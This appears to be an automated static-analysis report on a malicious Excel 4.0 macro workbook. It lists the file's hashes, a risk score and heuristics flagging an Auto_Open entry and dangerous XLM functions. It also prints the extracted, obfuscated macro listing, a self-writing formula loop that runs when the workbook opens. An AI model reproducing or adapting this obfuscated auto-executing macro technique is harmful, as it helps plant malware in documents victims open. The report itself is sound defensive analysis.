Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf27af4049f87e0e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:25 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 848513775a95e36fd87b88181c8cdbec SHA-1: a8a6a7b37e5eed8ae1ca7270cea726df4ede14d9 SHA-256: cf27af4049f87e0e9d1b712c5ae605dc517bf5c1f775474be7c6ee2f853cebc1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6626 bytes
SHA-256: 0ff53b959a3b813ca2f7b70d35c33eb03c9bff77d0980f9f52b579d2c132ff1e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pAMyOzKJN
' 0018     25 LABEL : Cell Value, String Constant - AHLBaMYLGg len=0 
' 0018     25 LABEL : Cell Value, String Constant - aJUJJbhzcy len=0 
' 0018     25 LABEL : Cell Value, String Constant - ajzWBUetco len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A178 
' 0018     23 LABEL : Cell Value, String Constant - bgHZRJsf len=0 
' 0018     21 LABEL : Cell Value, String Constant - blDiIo len=0 
' 0018     21 LABEL : Cell Value, String Constant - BoflZo len=0 
' 0018     23 LABEL : Cell Value, String Constant - escxucoL len=0 
' 0018     27 LABEL : Cell Value, String Constant - iFmeFrWhkjdg len=0 
' 0018     26 LABEL : Cell Value, String Constant - iKVrAUANWXG len=0 
' 0018     20 LABEL : Cell Value, String Constant - JHIXQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - KJLmDWxbI len=0 
' 0018     25 LABEL : Cell Value, String Constant - kjSkvanfxS len=0 
' 0018     26 LABEL : Cell Value, String Constant - lleWIGMMurq len=0 
' 0018     23 LABEL : Cell Value, String Constant - LuoTodjU len=0 
' 0018     22 LABEL : Cell Value, String Constant - MPLFjoP len=0 
' 0018     23 LABEL : Cell Value, String Constant - rQXclOKl len=0 
' 0018     21 LABEL : Cell Value, String Constant - RUobBK len=0 
' 0018     20 LABEL : Cell Value, String Constant - XEihf len=0 
' 0018     24 LABEL : Cell Value, String Constant - YRwPpOraq len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZhESOn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pAMyOzKJN,A77,"SET.NAME("lleWIGMMurq",VALUE("0"))",""
'  pAMyOzKJN,A81,"SET.NAME("kjSkvanfxS",lleWIGMMurq)",""
'  pAMyOzKJN,A84,"SET.NAME("iKVrAUANWXG",lleWIGMMurq)",""
'  pAMyOzKJN,A89,"SET.NAME("aJUJJbhzcy",COUNTA(BoflZo))",""
'  pAMyOzKJN,A94,"SET.NAME("XEihf",COUNTA(blDiIo))",""
'  pAMyOzKJN,A96,[],""
'  pAMyOzKJN,A101,"SET.NAME("bgHZRJsf","")",""
'  pAMyOzKJN,A103,"kjSkvanfxS",""
'  pAMyOzKJN,A108,"SET.NAME("escxucoL",HLOOKUP("*",BoflZo,kjSkvanfxS,FALSE))",""
'  pAMyOzKJN,A112,"MPLFjoP",""
'  pAMyOzKJN,A114,"SET.NAME("YRwPpOraq",lleWIGMMurq)",""
'  pAMyOzKJN,A117,[],""
'  pAMyOzKJN,A120,"YRwPpOraq",""
'  pAMyOzKJN,A125,"JHIXQ",""
'  pAMyOzKJN,A129,"iFmeFrWhkjdg",""
'  pAMyOzKJN,A134,"rQXclOKl",""
'  pAMyOzKJN,A139,"SET.NAME("LuoTodjU",VALUE(HLOOKUP("*",blDiIo,rQXclOKl,FALSE)))",""
'  pAMyOzKJN,A143,"KJLmDWxbI",""
'  pAMyOzKJN,A148,"bgHZRJsf",""
'  pAMyOzKJN,A151,"iKVrAUANWXG",""
'  pAMyOzKJN,A156,NEXT(),""
'  pAMyOzKJN,A159,"RUobBK",""
'  pAMyOzKJN,A162,"SET.NAME("f",INT(T(FORMULA(T(bgHZRJsf)&"",""&T(RUobBK)))))",""
'  pAMyOzKJN,A167,"ZhESOn",""
'  pAMyOzKJN,A170,NEXT(),""
'  pAMyOzKJN,A173,RETURN(),""
'  pAMyOzKJN,A198,"SET.NAME("AHLBaMYLGg",A77)",""
'  pAMyOzKJN,A203,"BoflZo",""
'  pAMyOzKJN,A206,"SET.NAME("blDiIo",R64C12)",""
'  pAMyOzKJN,A211,"SET.NAME("ZhESOn",218)",""
'  pAMyOzKJN,A213,"SET.NAME("ajzWBUetco",1)",""
'  pAMyOzKJN,A217,AHLBaMYLGg(),""
'  pAMyOzKJN,A218,HALT(),""